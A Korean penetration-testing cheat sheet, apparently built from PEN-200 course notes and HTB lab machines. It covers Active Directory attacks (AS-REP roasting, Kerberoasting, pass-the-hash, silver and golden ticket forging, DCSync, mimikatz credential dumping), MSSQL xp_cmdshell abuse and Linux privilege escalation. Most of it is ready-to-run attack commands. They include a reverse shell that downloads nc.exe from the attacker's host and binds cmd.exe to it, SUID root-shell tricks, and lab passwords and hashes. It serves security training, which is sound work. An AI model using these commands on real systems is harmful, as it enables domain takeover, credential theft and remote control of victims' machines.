12.3 AS-REP Roasting (사전 인증 비활성 계정)
1# 실명 발견 시 사용자명 변형 생성 (예: 웹/LDAP에서 "Hugo Smith" 확인)
2# 패턴: firstname.lastname / flastname / firstlast / f.lastname / lastname.firstname
3printf "%s\n" hugo.smith hsmith hugosmith h.smith smith.hugo > users.txt
4
5# 사용자명 리스트로 AS-REP Roasting (크레덴셜 없이)
6impacket-GetNPUsers <DOMAIN>/ \
7 -usersfile users.txt \
8 -dc-ip <DC_IP> \
9 -no-pass
► 웹 About/Team 페이지, LDAP 익명 검색으로 실명 수집 → 변형 생성 후 AS-REP 시도 (HTB Sauna 패턴).
1# Kali (크레덴셜 없이도 가능)
2impacket-GetNPUsers -dc-ip <DC_IP> -request -outputfile hashes.asreproast <DOMAIN>/
3
4# 크레덴셜 있을 때
5impacket-GetNPUsers -dc-ip <DC_IP> -request -outputfile hashes.asreproast <DOMAIN>/<USER>
6
7# 크랙 (m=18200)
8sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
1# Windows: Rubeus
2.\Rubeus.exe asreproast /nowrap
► “Do not require Kerberos preauthentication” 설정된 계정 대상.
12.4 Kerberoasting (SPN 계정 해시 추출)
1# Impacket (크레덴셜 필요)
2sudo impacket-GetUserSPNs -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS>
3
4# 특정 사용자만 타겟
5impacket-GetUserSPNs <DOMAIN>/<USER>:'<PASS>' \
6 -dc-ip <DC_IP> \
7 -request-user <TARGET_USER> \
8 -outputfile <TARGET>.hash
9
10# 크랙 (m=13100)
11sudo hashcat -m 13100 <TARGET>.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
1# Windows: Rubeus
2.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
► GenericWrite 권한 있으면 setspn -S로 임시 SPN 추가 후 Kerberoasting 가능.
► 크랙 전 unset KRB5CCNAME 으로 캐시 초기화.
12.5 Pass-the-Hash (PTH)
1# impacket psexec (ADMIN$ 쓰기 권한 필요)
2impacket-psexec <DOMAIN>/<USER>@<IP> -hashes :<NTLM_HASH>
3
4# WMIExec (ADMIN$ 불필요, 흔적 적음)
5impacket-wmiexec <DOMAIN>/<USER>@<IP> -hashes :<NTLM_HASH>
6
7# SMBExec
8impacket-smbexec <DOMAIN>/<USER>@<IP> -hashes :<NTLM_HASH>
9
10# evil-winrm
11evil-winrm -i <IP> -u <USER> -H <NTLM_HASH>
12
13# nxc
14nxc smb <IP> -u <USER> -H <NTLM_HASH> -d <DOMAIN>
12.6 Overpass-the-Hash / Pass-the-Ticket
# NTLM → Kerberos TGT 변환
sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<HASH> /run:powershell.exe
1# impacket-getTGT — NTLM 해시로 TGT(ccache) 발급
2impacket-getTGT <DOMAIN>/<USER> -hashes :<NTLM_HASH> -dc-ip <DC_IP>
3# Saving ticket in <USER>.ccache
4
5export KRB5CCNAME=<USER>.ccache
6
7# Linux (ccache 티켓으로 접속)
8impacket-psexec -k -no-pass <DOMAIN>/<USER>@<TARGET>
9impacket-smbclient -k -no-pass <DOMAIN>/<USER>@<TARGET>
10proxychains impacket-smbclient <DOMAIN>/<USER>:<PASS>@<DC_IP>
# 티켓 주입 (Windows)
kerberos::ptt ticket.kirbi
klist # 확인
12.7 Silver Ticket
필요 재료: 서비스 계정 NTLM 해시 · 도메인 SID · 대상 SPN
효과: TGS를 위조 → KDC 없이 특정 서비스에 직접 인증 (네트워크 트래픽 최소화)
# 재료 수집
whoami /user # 현재 사용자 SID 확인
lsadump::dcsync /user:<SVC_ACCOUNT> # 서비스 계정 NTLM 해시 추출
# Silver Ticket 생성 (예: CIFS 서비스)
kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<SVC_NTLM_HASH> \
/user:Administrator /service:cifs /target:<TARGET_FQDN> \
/ptt
# /ptt = Pass-the-Ticket (메모리에 바로 주입), 생략 시 ticket.kirbi 저장
| SPN 예시 | 접근 서비스 |
|---|---|
cifs/<HOST> | SMB (파일 공유, psexec) |
http/<HOST> | IIS / WinRM |
host/<HOST> | 다수 서비스 (WMI 포함) |
mssql/<HOST> | SQL Server |
1# Linux (impacket) — 서비스 계정 해시로 TGS 직접 위조
2impacket-ticketer -nthash <SVC_NTLM_HASH> -domain-sid <DOMAIN_SID> \
3 -domain <DOMAIN> -spn cifs/<TARGET_FQDN> Administrator
4# → Administrator.ccache 생성
5
6export KRB5CCNAME=Administrator.ccache
7impacket-smbclient -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>
8impacket-psexec -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>
1# 도메인 SID 확인법
2impacket-getPac -targetUser <ANY_USER> <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP>
3# 또는
4lookupsid.py <DOMAIN>/<USER>:<PASS>@<DC_IP> | grep "Domain SID"
► Silver ≠ Golden: KDC(krbtgt) 해시 불필요, 서비스 계정 해시만 있으면 됨.
► 도메인 SID = 사용자 SID에서 마지막 RID(-500 등) 제거한 부분.
12.8 Golden Ticket
필요 재료: krbtgt NTLM 해시 · 도메인 SID
효과: TGT 자체를 위조 → 도메인 내 모든 서비스 접근 가능 (영구 백도어)
# krbtgt 해시 획득 (DCSync 권한 필요)
lsadump::dcsync /user:krbtgt
# Golden Ticket 생성 + 주입
kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<KRBTGT_NTLM> \
/user:Administrator /id:500 /ptt
klist # 확인
1# impacket
2impacket-ticketer -nthash <KRBTGT_NTLM> -domain-sid <DOMAIN_SID> \
3 -domain <DOMAIN> Administrator
4export KRB5CCNAME=Administrator.ccache
5impacket-psexec -k -no-pass <DOMAIN>/Administrator@<DC_FQDN>
► krbtgt 해시 리셋 전까지 유효 (패스워드 변경해도 10분 캐시).
► Silver vs Golden 비교: Silver = 단일 서비스 / Golden = 도메인 전체.
12.9 DCSync (도메인 전체 해시 덤프)
1# 단일 사용자 해시 추출
2impacket-secretsdump -just-dc-user administrator <DOMAIN>/<USER>:"<PASS>"@<DC_IP>
3
4# krbtgt (Golden Ticket용)
5impacket-secretsdump -just-dc-user krbtgt <DOMAIN>/<USER>:"<PASS>"@<DC_IP>
6
7# NTLM 크랙 (m=1000)
8hashcat -m 1000 <HASH> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
► DCSync 조건: GetChanges + GetChangesAll 권한 (BloodHound에서 확인).
► 도메인 관리자 해시 획득 → PTH로 도메인 장악.
12.10 mimikatz (로컬 크레덴셜 덤프)
privilege::debug
sekurlsa::logonpasswords # 메모리에서 평문·해시 덤프
sekurlsa::tickets # 캐시된 Kerberos 티켓
lsadump::dcsync /user:corp\Administrator
12.11 Password Safe (.psafe3) 크랙
1# hashcat 모드 5200
2sudo hashcat -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt
3
4# 파일 열기
5sudo apt install passwordsafe
6pwsafe Backup.psafe3
► FTP 서버에 .psafe3 파일 있는 경우 (HTB Administrator 패턴).
13. 공통 유틸리티
13.1 파일 전송
1# Kali HTTP 서버
2python3 -m http.server 80
3sudo systemctl start apache2
1# Windows 다운로드
2iwr -uri http://<KALI_IP>/file.exe -Outfile file.exe
3certutil -urlcache -split -f http://<KALI_IP>/file.exe file.exe
1# FTP 접속 (anonymous 또는 자격증명)
2ftp <IP>
3# Name: anonymous (엔터)
4# 또는 사용자명 입력
5ftp> ls
6ftp> get <FILE>
7ftp> put <FILE>
8ftp> binary # 바이너리 모드 (exe, zip 등)
13.2 RDP / SMB 접속
1# RDP (드라이브 공유 + 클립보드)
2xfreerdp3 /u:<USER> /p:'<PASS>' /v:<IP> /clipboard /dynamic-resolution /drive:share,/home/kali/Downloads
3
4# SMB 익명 열거
5smbclient -L //<IP> -N
6
7# SMB 자격증명 접속
8smbclient //<IP>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>'
► /drive:share,/path : Kali 디렉토리를 RDP 세션 내 드라이브로 마운트 → 파일 전송 편리.
► /clipboard : 클립보드 공유.
13.3 원격 실행 (PsExec / WMI / WinRM)
1# WinRM → evil-winrm (파일 업로드/다운로드 편함)
2evil-winrm -i <IP> -u <USER> -p '<PASS>'
3
4# PsExec (SMB 445 + ADMIN$ 쓰기 권한 필요)
5impacket-psexec <DOMAIN>/<USER>:<PASS>@<IP>
6
7# WMIExec (ADMIN$ 불필요, 흔적 적음)
8impacket-wmiexec <DOMAIN>/<USER>:<PASS>@<IP>
9
10# SMBExec (느리지만 AV 우회 유용)
11impacket-smbexec <DOMAIN>/<USER>:<PASS>@<IP>
13.4 nc 리스너 / 피봇 포트스캔
1# 리스너
2nc -lvp 4444
3
4# 내부망 SMB 활성 호스트 스캔 (피봇 후)
5for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445 2>&1 | grep succeeded; done
13.5 PowerShell 실행 정책 우회
1powershell -ep bypass
2Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
13.6 파일 생성 (heredoc / unix2dos)
1# heredoc으로 파일 생성 (특수문자 포함 시 유용)
2cat > script.txt << 'EOF'
3line1
4line2
5EOF
6
7# Windows 줄바꿈 변환 (diskshadow 등 Windows 명령어에 필요)
8unix2dos script.txt
13.7 터미널 검색 / 기타
1# exploitdb 브라우저 검색
2firefox --search "Apache 2.4.49 site:exploit-db.com"
3
4# NTLM/Kerberos 해시 형식 확인
5hashcat --help | grep -i "kerberos"
6hashcat --help | grep -i "ntlm"
7
8# curl HTTP 응답 확인
9curl -I <IP>:80
10curl -s <IP>/page.php
13.8 MSSQL 공격 (impacket-mssqlclient)
1# Windows 인증으로 접속 (도메인 계정 사용)
2impacket-mssqlclient <DOMAIN>/<USER>:'<PASS>'@<IP> -windows-auth
3proxychains impacket-mssqlclient <DOMAIN>/<USER>:'<PASS>'@<IP> -windows-auth
4
5# SQL 인증으로 접속
6impacket-mssqlclient <IP> -U sa -P '<PASS>'
7
8# NTLM 해시로 접속
9impacket-mssqlclient <DOMAIN>/<USER>@<IP> -hashes :<NTLM_HASH> -windows-auth
1-- xp_cmdshell 활성화
2EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
3EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
4
5-- 명령 실행
6EXEC xp_cmdshell 'whoami';
7EXEC xp_cmdshell 'whoami /priv'; -- SeImpersonatePrivilege 확인
8EXEC xp_cmdshell 'net user';
9
10-- 리버스 셸 (PowerShell)
11EXEC xp_cmdshell 'powershell -c "iwr http://<KALI>/nc.exe -Outfile C:\Windows\Temp\nc.exe"';
12EXEC xp_cmdshell 'C:\Windows\Temp\nc.exe <KALI> 4444 -e cmd.exe';
13
14-- SMB 공유에서 툴 복사 (피벗 호스트 공유 필요)
15EXEC xp_cmdshell 'net use \\<PIVOT>\share /user:Administrator <PASS>';
16EXEC xp_cmdshell 'copy \\<PIVOT>\share\po.exe C:\Windows\Temp\po.exe';
17EXEC xp_cmdshell 'C:\Windows\Temp\po.exe "cmd /c net user Administrator <PASS>"';
1-- Impersonation 열거 (sysadmin 아닐 때)
2SELECT * FROM sys.server_principals WHERE type = 'S';
3SELECT distinct b.name FROM sys.server_permissions a
4 INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
5 WHERE a.permission_name = 'IMPERSONATE';
6
7-- Impersonation 실행
8EXECUTE AS LOGIN = 'sa';
9SELECT SYSTEM_USER; -- sa 로 전환됐는지 확인
10EXEC xp_cmdshell 'whoami';
1# 피벗 호스트에서 SMB 공유 생성 (xp_cmdshell 툴 전송용)
2New-SmbShare -Name "share" -Path "C:\Users\<USER>\Documents" -FullAccess "Everyone"
3# 사용 후 정리
4Remove-SmbShare -Name "share" -Force
► xp_cmdshell 비활성화 시 sp_configure로 활성화 — sysadmin 권한 필요.
► sysadmin 아닐 때 → Impersonation 또는 Linked Server 경유.
► SeImpersonatePrivilege 있으면 xp_cmdshell에서 SigmaPotato로 SYSTEM 탈취 가능.
13.9 .git 노출 → git-dumper
1# .git 디렉토리 노출 확인
2curl -s http://<IP>/.git/HEAD # "ref: refs/heads/main" 이면 취약
3
4# git-dumper 설치 및 실행
5pip install git-dumper --break-system-packages
6git-dumper http://<IP>/.git /tmp/gitdump
7
8# 커밋 히스토리에서 자격증명 탐색
9cd /tmp/gitdump
10git log -p --all | grep -i "password\|username\|passwd\|secret\|key"
11git log --oneline --all # 커밋 목록
12git show <COMMIT_HASH> # 특정 커밋 내용
► .git 노출 시 과거 커밋에 제거된 자격증명·API 키가 남아있는 경우 많음.
13.10 Linux 추가 기법
1# SUID bash 악용 (bash -p 플래그 필수)
2bash -p # effective uid 유지 (drop 비활성화)
3# -p 없으면 SUID 권한 자동 drop → root 안 됨
4
5# SSH 로컬 포워딩 (JDWP 등 내부 포트 접근)
6ssh -i <KEY> -L 8000:127.0.0.1:8000 <USER>@<IP>
7# 이후 Kali에서 127.0.0.1:8000 으로 타겟 내부 포트 접근
8
9# JDWP RCE (root가 -Xdebug 포트 열었을 때)
10# 대상 머신에서 nc로 디버거 연결 트리거
11python2 jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd "chmod +s /bin/bash"
12
13# PATH 하이재킹 (SUID 바이너리가 절대경로 없이 명령 호출할 때)
14# strings <SUID_BINARY> 로 호출하는 명령 확인 후
15cat > /tmp/<command> << 'EOF'
16#!/bin/bash
17cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
18EOF
19chmod +x /tmp/<command>
20export PATH=/tmp:$PATH
21./<SUID_BINARY>
22/tmp/rootbash -p # root 셸
14. 도구 레퍼런스
14.1 impacket 명령어 전체 레퍼런스
모든 impacket 툴 공통: NTLM 인증은 기본, Kerberos 인증은
-k -no-pass+export KRB5CCNAME=<file>.ccache
열거 (Enumeration)
| 명령어 | 주요 옵션 | 사용 시나리오 |
|---|---|---|
impacket-lookupsid | 'domain/guest'@IP -no-pass | 크레덴셜 없이 RID 브루트포싱으로 사용자/그룹 목록 추출 |
impacket-samrdump | domain/user@IP -hashes :NTLM | SAMR 프로토콜로 도메인 사용자 열거 |
impacket-rpcdump | domain/user@IP | RPC 엔드포인트 열거 |
impacket-getPac | -targetUser <USER> domain/user:'pass' | PAC(Kerberos 속성 인증서)에서 도메인 SID 추출 |
1# 사용 예시
2impacket-lookupsid 'cicada.htb/guest'@10.10.10.10 -no-pass
3impacket-samrdump scrm.local/sqlsvc:'Pegasus60'@dc1.scrm.local
4impacket-getPac -targetUser sqlsvc scrm.local/sqlsvc:'Pegasus60'
Kerberos 공격
| 명령어 | 주요 옵션 | 사용 시나리오 |
|---|---|---|
impacket-GetNPUsers | DOMAIN/ -usersfile users.txt -dc-ip IP -no-pass | AS-REP Roasting (사전인증 비활성 계정 해시 추출) |
impacket-GetNPUsers | DOMAIN/user:'pass' -request -dc-ip IP | 크레덴셜 있을 때 AS-REP 해시 추출 |
impacket-GetUserSPNs | DOMAIN/user:'pass' -dc-ip IP -request | Kerberoasting (SPN 계정 TGS 해시 추출) |
impacket-GetUserSPNs | -k -no-pass -dc-host dc.domain -request-user <USER> | Kerberos 인증으로 특정 계정만 Kerberoasting |
impacket-getTGT | DOMAIN/user:'pass' -dc-ip IP | 평문으로 TGT ccache 발급 |
impacket-getTGT | DOMAIN/user -hashes :NTLM -dc-ip IP | NTLM 해시로 TGT ccache 발급 |
impacket-ticketer | -nthash HASH -domain-sid SID -domain DOMAIN -spn SPN user | Silver Ticket 생성 (서비스 계정 해시 필요) |
impacket-ticketer | -nthash KRBTGT_HASH -domain-sid SID -domain DOMAIN user | Golden Ticket 생성 (krbtgt 해시 필요) |
1# AS-REP Roasting
2impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -usersfile users.txt -dc-ip 10.10.10.10 -no-pass
3
4# Kerberoasting (NTLM 비활성 환경)
5export KRB5CCNAME=user.ccache
6impacket-GetUserSPNs scrm.local/sqlsvc -k -no-pass -dc-host dc1.scrm.local -request
7
8# Silver Ticket
9impacket-ticketer -nthash <SVC_NTLM> -domain-sid <SID> -domain scrm.local -spn MSSQLSvc/dc1.scrm.local:1433 Administrator
10export KRB5CCNAME=Administrator.ccache
원격 실행 (Lateral Movement)
| 명령어 | 주요 옵션 | 사용 시나리오 | 조건 |
|---|---|---|---|
impacket-psexec | DOMAIN/user:'pass'@IP | SYSTEM 쉘 획득 | ADMIN$ 쓰기 권한 필요 |
impacket-psexec | DOMAIN/user@IP -hashes :NTLM | PTH로 SYSTEM 쉘 | ADMIN$ 쓰기 |
impacket-psexec | -k -no-pass DOMAIN/user@TARGET | Kerberos 인증 SYSTEM 쉘 | KRB5CCNAME 설정 |
impacket-wmiexec | DOMAIN/user@IP -hashes :NTLM | WMI 통한 명령 실행 | ADMIN$ 불필요, 흔적 적음 |
impacket-smbexec | DOMAIN/user@IP -hashes :NTLM | SMB 통한 명령 실행 | 느리지만 AV 우회 유용 |
impacket-mssqlclient | DOMAIN/user:'pass'@IP -windows-auth | MSSQL 접속 (Windows 인증) | MSSQL 포트 1433 |
impacket-mssqlclient | -k -no-pass DOMAIN/user@HOST | Kerberos 인증 MSSQL | KRB5CCNAME 설정 |
1# PTH
2impacket-psexec scrm.local/Administrator@10.10.10.10 -hashes :3dc553ce4b9fd20bd016e098d2d2fd2e
3
4# Kerberos (Silver Ticket 후)
5export KRB5CCNAME=Administrator.ccache
6impacket-mssqlclient -k -no-pass scrm.local/Administrator@dc1.scrm.local
크레덴셜 덤프
| 명령어 | 주요 옵션 | 사용 시나리오 |
|---|---|---|
impacket-secretsdump | DOMAIN/user:'pass'@IP | 원격 SAM/LSA/캐시 해시 덤프 |
impacket-secretsdump | -just-dc-user administrator DOMAIN/user:'pass'@DC_IP | DCSync (단일 계정) |
impacket-secretsdump | -just-dc-user krbtgt DOMAIN/user:'pass'@DC_IP | krbtgt 해시 (Golden Ticket용) |
impacket-secretsdump | -sam SAM -system SYSTEM -security SECURITY LOCAL | 로컬 파일에서 오프라인 해시 추출 |
impacket-secretsdump | -ntds ntds.dit -system SYSTEM LOCAL | NTDS.dit 오프라인 파싱 |
1# DCSync
2impacket-secretsdump -just-dc-user administrator administrator.htb/ethan:"limpbizkit"@10.10.10.10
3
4# 로컬 파일 (SAM/SYSTEM 다운로드 후)
5impacket-secretsdump -sam SAM -system SYSTEM LOCAL
6
7# NTDS.dit 오프라인
8impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
SMB / 파일 접근
| 명령어 | 주요 옵션 | 사용 시나리오 |
|---|---|---|
impacket-smbclient | DOMAIN/user@HOST -k -no-pass | Kerberos 인증 SMB 접속 |
impacket-smbclient | DOMAIN/user:'pass'@IP | 평문 인증 SMB |
1export KRB5CCNAME=user.ccache
2impacket-smbclient scrm.local/ksimpson@dc1.scrm.local -k -no-pass
3# shares → use Public → ls → get file.pdf
기타
| 명령어 | 주요 옵션 | 사용 시나리오 |
|---|---|---|
impacket-addcomputer | DOMAIN/user:'pass' -dc-ip IP -computer-name 'ATK$' -computer-pass 'Pass!' | RBCD 공격용 컴퓨터 계정 추가 |
impacket-rbcd | -action write -delegate-from 'ATK$' -delegate-to 'TARGET$' | RBCD 위임 설정 |
impacket-findDelegation | DOMAIN/user:'pass' -dc-ip IP | 위임 설정된 계정/컴퓨터 열거 |
14.2 smbclient 옵션 레퍼런스
접속 옵션
| 옵션 | 설명 | 예시 |
|---|---|---|
-L //IP | 공유 목록 열거 | smbclient -L //10.10.10.10 -N |
-N | 패스워드 없이 접속 (익명) | smbclient -L //IP -N |
-U 'DOMAIN/user%pass' | 자격증명 지정 | -U 'cicada.htb/david%aRt$Lp#7t*VQ!3' |
--password=PASS | 패스워드 별도 지정 (특수문자 안전) | --password='P@ss!' |
-p PORT | 포트 지정 (기본 445) | -p 4445 |
--pw-nt-hash | NTLM 해시로 인증 | -U user --pw-nt-hash -p :NTLM |
-W DOMAIN | 워크그룹/도메인 지정 | -W cicada.htb |
1# 익명 열거
2smbclient -L //10.10.10.10 -N
3
4# 자격증명 접속
5smbclient //10.10.10.10/HR -U 'cicada.htb/michael.wrightson%Cicada$M6Corpb*@Lp#nZp!8'
6
7# 피벗 (proxychains)
8proxychains smbclient //INTERNAL_IP/share -U user --password=pass
내부 명령어 (접속 후)
| 명령 | 설명 |
|---|---|
shares | 공유 목록 (impacket-smbclient) |
use <SHARE> | 공유 선택 |
ls | 파일 목록 |
get <FILE> | 파일 다운로드 |
put <FILE> | 파일 업로드 |
mget * | 전체 파일 다운로드 |
recurse ON + mget * | 재귀 다운로드 |
cd <DIR> | 디렉토리 이동 |
prompt OFF | mget 확인 프롬프트 비활성화 |
binary | 바이너리 모드 (exe/zip 등) |
exit | 종료 |
1# 전체 공유 재귀 다운로드
2smbclient //IP/SHARE -U 'domain/user%pass' -c 'prompt OFF; recurse ON; mget *'
nxc smb (CrackMapExec 대체)
1# 공유 열거
2nxc smb IP -u user -p 'pass' -d domain --shares
3
4# 사용자 열거
5nxc smb IP -u '' -p '' --users # 익명
6nxc smb IP -u user -p 'pass' --users # 인증
7
8# 패스워드 스프레이
9nxc smb IP -d domain -u users.txt -p 'pass' --continue-on-success
10
11# PTH
12nxc smb IP -u administrator -H NTLM_HASH
13
14# 로컬 계정 (도메인 아닌 경우)
15nxc smb IP -u administrator -H NTLM_HASH --local-auth
치트시트 출처: PEN-200 강의 ch6
23 + 개인 메모 (Commands.md) + HTB 실전 (Administrator, Cicada, Sauna, Scrambled, 2026-08-14) 미포함 챕터: AV 우회(ch15), 패스워드 공격(ch16), AD 측면이동(ch24), AWS(ch2526)